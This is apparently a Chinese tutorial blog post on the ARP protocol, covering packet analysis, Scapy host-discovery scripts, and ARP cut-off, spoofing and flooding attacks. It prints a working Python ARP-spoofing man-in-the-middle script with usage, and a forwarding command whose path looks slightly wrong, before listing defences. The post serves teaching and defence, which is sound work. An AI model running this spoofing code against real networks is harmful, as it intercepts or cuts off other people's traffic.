协议介绍

ARP(Address Resolution Protocol)地址解析协议,将已知IP地址转换为MAC地址,由RFC820定义

ARP协议在OSI模型中处于数据链路层,在TCP/IP模型中处于网络层

ARP协议与数据链路层关联网络层

在Windows操作系统中可以在cmd中使用“arp -a”查看本地arp缓存表(120秒过期)

Python资源共享群:626017123

2

步骤概述

  • 当主机A要与主机B通信时,会先检查自身路由表是否能够到达,然后在自己的本地ARP缓存表中检查主机B的MAC地址
  • 如果主机A在ARP缓存表中没有找到映射,会广播发送ARP请求。每台主机接收到ARP请求后,会检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,将会丢弃ARP请求
  • 主机B确定ARP请求中的IP地址与自己的IP地址相匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中,并将包含其MAC地址的ARP回复消息以单播的方式发送回主机A
  • 当主机A收到主机B发送的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。由于ARP缓存是有生存期的,当生存期结束,将再次重复上面的过程。

2

数据包分析

使用wireshark抓取ARP数据包

在Info可以看到,ARP的一般请求和回复方式

  • 请求方式 Who has 查询IP Tell 自身IP
  • 回复方式 查询IP is at 查询MAC

请求包特征

Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层Destination: Broadcast (ff:ff:ff:ff:ff:ff) 广播发送Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址Type: ARP (0x0806) 协议类型
Address Resolution Protocol (request) 网络层 ARP请求数据包Hardware type: Ethernet (1) 硬件类型Protocol type: IPv4 (0x0800) 协议类型Hardware size: 6 硬件长度Protocol size: 4 协议长度Opcode: request (1) 操作码 1表示请求数据包Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址Sender IP address: 192.168.100.104 发送方IP地址Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 接收方MAC地址 由于不知道接收方MAC地址,所以为00:00:00:00:00:00Target IP address: 192.168.100.105 接收方IP地址

响应包特征

Ethernet II, Src: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4), Dst: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 数据链路层Destination: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 单播发送Source: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址Type: ARP (0x0806) 协议类型
Address Resolution Protocol (reply) 网络层 ARP回复数据包Hardware type: Ethernet (1) 硬件类型Protocol type: IPv4 (0x0800) 协议类型Hardware size: 6 硬件长度Protocol size: 4 协议长度Opcode: reply (2) 操作码 2表示回复数据包Sender MAC address: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址Sender IP address: 192.168.100.105 发送方IP地址Target MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 接收方MAC地址Target IP address: 192.168.100.104 接收方IP地址

免费ARP特征

在网络中IP地址是可以改变的,而MAC地址是不会改变的。

当IP地址改变时,缓存中的映射就不再有效。

为了防止由于映射错误而导致的通信错误,免费ARP将被发送,强制所有收到它的设备使用新的映射

免费ARP会在一下状态进行发送:

  • 系统引导期间
  • 接口进行配置
  • IP进行变更

数据包特征:

Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层 Destination: Broadcast (ff:ff:ff:ff:ff:ff) 广播发送 Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址 Type: ARP (0x0806) 协议类型 Address Resolution Protocol (request/gratuitous ARP) 免费ARP请求包 Hardware type: Ethernet (1) 硬件类型 Protocol type: IPv4 (0x0800) 协议类型 Hardware size: 6 硬件长度 Protocol size: 4 协议长度 Opcode: request (1) 操作码 1表示请求数据包 [Is gratuitous: True] 免费ARP数据包 Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址 Sender IP address: 192.168.100.250 发送方IP地址 Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 请求方MAC地址 Target IP address: 192.168.100.250 请求方MAC地址 可以看到发送方IP地址和请求方IP地址都为新地址,其他主机收到这种数据包会更新自身的ARP缓存表。

由于是源主机未经请求发出的数据包,而其他主机接收到后更新了ARP缓存表,所以被称为免费ARP

3

python实现

这里实现的Python版本为3.6.4

Scapy

Scapy是一个强大的嗅探库,支持Python2和Python3。

Scapy有1.2和2.x两种版本,前者由于依赖unix系统的libpcap、libdnet等库已经弃用了。后者在Linux、BSD、Mac上使用 pip install scapy 就能安装Scapy。Windows系统较麻烦,要安装最新版的Npcap或Winpcap再使用 pip install scapy 安装。

安装完成后载入库不报错就证明安装成功

  • v1.2版本使用 from scapy import *
  • v2.x版本使用 from scapy.all import *

代码实现

检测单个IP是否存活

from scapy.all import * def scan(dip): res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2) if res: print(res[1].psrc,res[1].hwsrc) if __name__ == '__main__': scan('192.168.100.102')

执行结果

Begin emission:
.Finished sending 1 packets.
.*
Received 3 packets, got 1 answers, remaining 0 packets
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 4.9s]

这里只是检测单个IP是否存活,使用循环将其改为网段检测。

而且除了扫描到的信息,还输出了scapy的发包信息,可以使用 verbose=False 关闭信息

循环检测网段存活

from scapy.all import * def scan(dip): res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False) if res: print(res[1].psrc,res[1].hwsrc) if __name__ == '__main__': for i in range(1,255): ip = '192.168.100.'+str(i) scan(ip)

执行结果

192.168.100.1 8c:f2:28:e6:2f:e2 192.168.100.102 60:6c:66:1b:b7:aa [Finished in 511.2s] 虽然已经可以扫描网段中存活的主机,但是一个C段地址扫描了八分钟是很难以接受的。尝试使用多线程执行

多线程检测网段存活

import threading from scapy.all import * def scan(dip): res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False) if res: print(res[1].psrc,res[1].hwsrc) if __name__ == '__main__': for i in range(1,255): ip = '192.168.100.'+str(i) t = threading.Thread(target=scan,args=(ip,)) t.start() ``` **执行结果** 192.168.100.1 8c:f2:28:e6:2f:e2 192.168.100.103 ec:d0:9f:9b:b5:3d 192.168.100.102 60:6c:66:1b:b7:aa [Finished in 20.6s] 虽然速度相比之前有很大的提升,但是还是有点不尽人意。而且在扫描变长网段需要更改代码。 在代码根本上,是每次都调用scan()函数,传入参数进行扫描。 可以使用srp()代替srp1()进行扫描 srp()和srp1()都是在二层发送和接受数据包,但srp1()只接受第一个回复,srp()可以接受所有回复 ##### Scapy检测网段存活 ##### ```python from scapy.all import Ether,ARP,srp IpScan = '192.168.100.1/24' ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan), timeout=2, verbose=False) for send, rcv in ans: print(rcv.sprintf("%ARP.psrc% %Ether.src%"))

执行结果

192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.102 60:6c:66:1b:b7:aa
192.168.100.103 ec:d0:9f:9b:b5:3d
[Finished in 8.5s]

srp()和srp1()在使用上有些区别,需要注意

4

ARP攻击

ARP断网和ARP欺骗

原理

前面已经描述过ARP通信的步骤,这里再大致赘述一遍,假如主机A要访问主机B的Web服务,根据ARP本地缓存表的情况大致为两类:

第一类:主机A本地ARP缓存表存在主机B记录

  • 检查本地ARP缓存表,发现存在主机B记录
  • 向主机B发送TCP数据包

第二类:主机A本地ARP缓存表不存在主机B记录

  • 检查本地ARP缓存表,不存在主机B记录
  • 主机A广播ARP请求包,查询主机B的ARP信息
  • 主机B接收到主机A的ARP请求包,并回复ARP信息
  • 主机A收到回复,写入本地ARP缓存表,并向主机B发送TCP数据包

我们情景模拟一下

+--------+---------------+-------------------+ | 主机 | IP地址 | MAC地址 | +--------+---------------+-------------------+ | 网关 | 192.168.1.1 | AA:AA:AA:AA:AA:AA | | 主机A | 192.168.1.100 | BB:BB:BB:BB:BB:BB | | 主机B | 192.168.1.200 | CC:CC:CC:CC:CC:CC | | 攻击者 | 192.168.1.250 | DD:DD:DD:DD:DD:DD | +--------+---------------+-------------------+

在主机A发送ARP请求之前,主机A的ARP缓存表为:

接口: 192.168.1.100 --- 0xb Internet 地址 物理地址 类型 192.168.1.1 AA:AA:AA:AA:AA:AA 动态

当主机A发送并接受到ARP回复之后,主机A的ARP缓存表为:

接口: 192.168.1.100 --- 0xb Internet 地址 物理地址 类型 192.168.1.1 AA:AA:AA:AA:AA:AA 动态 192.168.1.200 CC:CC:CC:CC:CC:CC 动态

此时主机A向主机B发送TCP通讯,数据包前段内容为:

Ether.Source = BB:BB:BB:BB:BB:BB Ether.Destination = CC:CC:CC:CC:CC:CC IPv4.Source = 192.168.1.100 IPv4.Destination = 192.168.1.200

至此主机A到主机B的正常通信开始

可以发现ARP主机A后续的数据包是发送到由ARP获取到的MAC地址的主机的,但是ARP没有做安全处理,如果我们获取到主机A的ARP请求后,向主机A发送我们的MAC地址,那么主机A后续的数据包就会发到我们这里。

如果此时主机C对主机A持续不断的发送ARP消息包:

192.168.1.200 is at DD:DD:DD:DD:DD:DD

当主机A收到了主机C的恶意ARP消息包,本地ARP缓存表为:

接口: 192.168.1.100 --- 0xb Internet 地址 物理地址 类型 192.168.1.1 AA:AA:AA:AA:AA:AA 动态 192.168.1.200 CC:CC:CC:CC:CC:CC 动态 192.168.1.200 DD:DD:DD:DD:DD:DD 动态

此时主机A向主机C的通讯就可能出现丢包

而当主机A的ARP本地缓存表120秒到期后,本地ARP缓存表为:

接口: 192.168.1.100 --- 0xb Internet 地址 物理地址 类型 192.168.1.1 AA:AA:AA:AA:AA:AA 动态 192.168.1.200 DD:DD:DD:DD:DD:DD 动态

由于主机C持续不断的向主机A发送ARP消息包,而且主机A能够在本地ARP缓存表找到主机B的信息,所以不会发送ARP请求包,此时主机A向主机B的所有数据包都将发送到主机C

也就是说通过ARP能够做的攻击有两种:

第一种:ARP断网 对主机A发送网关的ARP消息包,将网关的IP映射为不存在的MAC地址,主机A发送的所有数据包都不会有响应,达到断网。

第二种:ARP欺骗 对主机A发送网关的ARP消息包,将网关的IP映射为主机C的MAC地址,同时开启路由功能,保证主机A与外网的通讯正常。主机A还是能够访问外网资源,但是中间多了一个主机C,主机C能够获取到主机A发送的所有数据包。

ARP欺骗将拓扑进行了改变:

主机A -> 网关 -> Internet 请求包 主机A <- 网关 <- Internet 回复包 | ARP欺骗后 ↓ 主机A -> 主机C -> 网关 -> Internet 主机A <- 主机C <- 网关 <- Internet

攻击实现

需要开启路由转发功能

Linux: echo 1 > /proc/sys/net/ipv4/forward

Python代码

#!/usr/bin/env python #-*- coding:utf-8 -*- import sys from scapy.all import * def get_parameter(): if len(sys.argv)!=3: print('python setup.py -target_ip -fake_ip ') sys.exit() return (sys.argv[1],sys.argv[2]) def get_mac(ip): res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),timeout=2,verbose=False,iface='eth0') if res: return res[1].hwsrc def send(target_ip,target_mac,fake_ip,fake_mac): res = srp1(Ether(dst=target_mac,src=local_mac)/ARP(pdst=target_ip,hwdst=target_mac,psrc=fake_ip,hwsrc=local_mac,op=2),timeout=2,verbose=False,iface='eth0') if res: return res.show() if __name__ == '__main__': target_ip,fake_ip = get_parameter() target_mac = get_mac(target_ip) fake_mac = get_mac(fake_ip) local_mac = get_if_hwaddr('eth0') while True: send(target_ip,target_mac,fake_ip,local_mac) send(fake_ip,fake_mac,target_ip,local_mac)

使用说明

python setup.py 第一IP 第二IP

ARP泛洪

ARP泛洪相比ARP断网和ARP欺骗,更加偏向于对网关的攻击,这种攻击,通过伪造大量不同的ARP报文在同网段内进行广播,导致网关ARP表被占满,合法用户的ARP信息无法正常学习,导致合法用户无法访问外网。

5

防范手段

针对ARP欺骗的防范手段:

  • ARP表固化,网关在第一次学习到ARP之后,不允许更新此ARP或只能更新部分信息,或者单播发送ARP请求包对此ARP条目进行合法性确认,防止伪造的免费ARP报文修改其他主机ARP表。
  • 免费ARP数据包主动丢弃,直接丢弃免费ARP报文,防止伪造的免费ARP报文修改其他主机ARP表。
  • ARP表严格学习,网关只向特定主机学习ARP,不学习其他主机ARP。不允许攻击者修改已有ARP条目。
  • 发送免费ARP数据包,与主动丢弃不冲突,只发送网关自身的ARP数据包,定时更新用户的ARP条目。
  • 动态ARP监测,将接受到的ARP数据包中的源IP、源MAC、受到ARP报文的接口及VLAN信息和绑定表的信息进行比较,信息匹配则通过,不通过则丢弃,可以有效防范ARP欺骗。

针对ARP泛洪的防范手段:

  • ARP报文限速
  • ARP Miss消息限速
  • 免费ARP数据包主动丢弃
  • ARP表严格学习
  • ARP表严格限制

本文章来自团队成员virgin-forest分享, 仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

mac地址扫描源码_ARP-基础-扫描-攻击-防范!相关推荐

  1. Android 二维码扫描源码下载

    Android 二维码扫描是很常用的工具,是不是很Cool,到底如何实现的呢,下面我们就来探讨一下Zxing的实现方法(底部附上下载链接): 首先 工程结构: 如何引用:(内容来自雪炭网SnowCoa ...

  2. 获取网关IP和MAC 的VB源码

    '窗体上加入控件command1,然后复制下面代码,运行,按command1即可. Option Explicit Private Declare Function OpenProcess Lib & ...

  3. 初步了解mac下C源码的编译过程

    初步了解mac下C源码的编译过程 参考: 请问Mac OS X (10.9.1)下创建和使用动态链接库的方法 cc.gcc.g++.CC的区别概括 - 今晚打酱油_ - 博客园 Linux 下 的 c ...

  4. jedis的源码理解-基础篇

    [jedis的源码理解-基础篇][http://my.oschina.net/u/944165/blog/127998] (关注实现关键功能的类) 基于jedis 2.2.0-SNAPSHOT 首先是 ...

  5. UWA学堂上新|虚幻引擎源码解析——基础容器篇

    文章简介 文章主要介绍了虚幻引擎的基础容器的内部数据结构和实现原理,以及在实践中的应用,性能优化等方面.包括:TArray.TSparseArray.TSet.TMap等基础容器,TQueue.TTr ...

  6. Mac系统Spring源码导入

    Mac系统Spring源码导入 前言 工具准备 Gradle5.6.4安装 Spring-Framework5.2.8 Kotlin插件 spring-framework配置 修改settings.g ...

  7. mac地址扫描源码_iNet Network Scanner扫描网络,及时反馈WiFi信号强度!

    想要好用的Mac网络扫描工具?iNet Network Scanner mac版是一款Macos上一款不错的Mac网络扫描软件,为您提供有关您Mac网络和您的Mac连接到设备的所有信息.能够反馈出Wi ...

  8. mac地址扫描源码_愤怒的IP扫描仪 一种快速的网络扫描工具

    Angry IP Scanner是一个跨平台的轻量级程序,可以扫描IP地址及其端口.它可以确定IP状态,主机名,MAC地址,NetBIOS信息,MAC供应商,HTTP发送方和TTL(生存时间).您还可 ...

  9. C语言端口扫描源码,C语言实现TCP多线程端口扫描

    多线程端口扫描实现(C语言) 源码: #include #include #include #include #include #pragma comment(lib,"WS2_32.lib ...

  10. 根据MAC地址修改固定IP(附带IPMAC扫描脚本)

    因公司重新规划网络,以前的固定IP需重新分配,又不想一台台的去改,那个不是一般的累.用DHCP又不符合公司环境,所以就搞了这么个脚本出来. 一.VBS脚本,通过MAC地址来修改IP.子网掩码.网关和D ...

最新文章

  1. jquery插件-表单验证插件-提示信息中文化与定制提示信息
  2. oracle rodo 查看大小,Checkpoint not complete故障
  3. 第十六届智能车竞赛过程中都发生了什么:怎么感到今年更难呢?
  4. 计算机网络_第7版_谢希仁_目录
  5. 脚本#!/bin/bash的作用
  6. 笔记-知识产权与标准化知识-GB/T-12504-1990计算机软件质量保证计划规范
  7. 计算机语言乍么设置,电脑如何设置语言
  8. 每天CookBook之JavaScript-059
  9. 对标小米!华为P50 Pro+将有望搭载液态镜头技术
  10. 01-07 Linux三剑客-grep
  11. web项目开发最佳做法
  12. 强制类型转换运算符—C++基础篇
  13. 2014年4月管理计算机应用,全国2014年4月自考管理系统中计算机应用真题
  14. 网络计算机无法访问 没有权限,教您无法访问您可能没有权限使用网络资源怎么解决...
  15. 程序员,你何时离开北京
  16. 《软件测试》第二章 软件开发的过程
  17. PNG格式如何在线压缩的简单方法
  18. 华中科大三个大学生创新团队的成长启示
  19. php aes加密 ctr,使用aes+ctr的加密问题
  20. 无线网络-LTE (01) LTE Overview

热门文章

  1. 使用ELK在DC / OS中进行日志管理
  2. 一个非常好用的文字滚动的案例,鼠标悬浮可暂停
  3. 蠕虫Sexy View短信攻击诺基亚3250等手机
  4. IIS7中查看w3wp进程
  5. BN=批归一化+缩放位移=(batchNorm层+scale层)
  6. lambda表达式传参
  7. 第三季-第13课-无名管道通讯编程
  8. Java 并发和多线程(一) Java并发性和多线程介绍[转]
  9. Newton迭代法求无约束目标函数极小值matlab实现
  10. linux 常见基础命令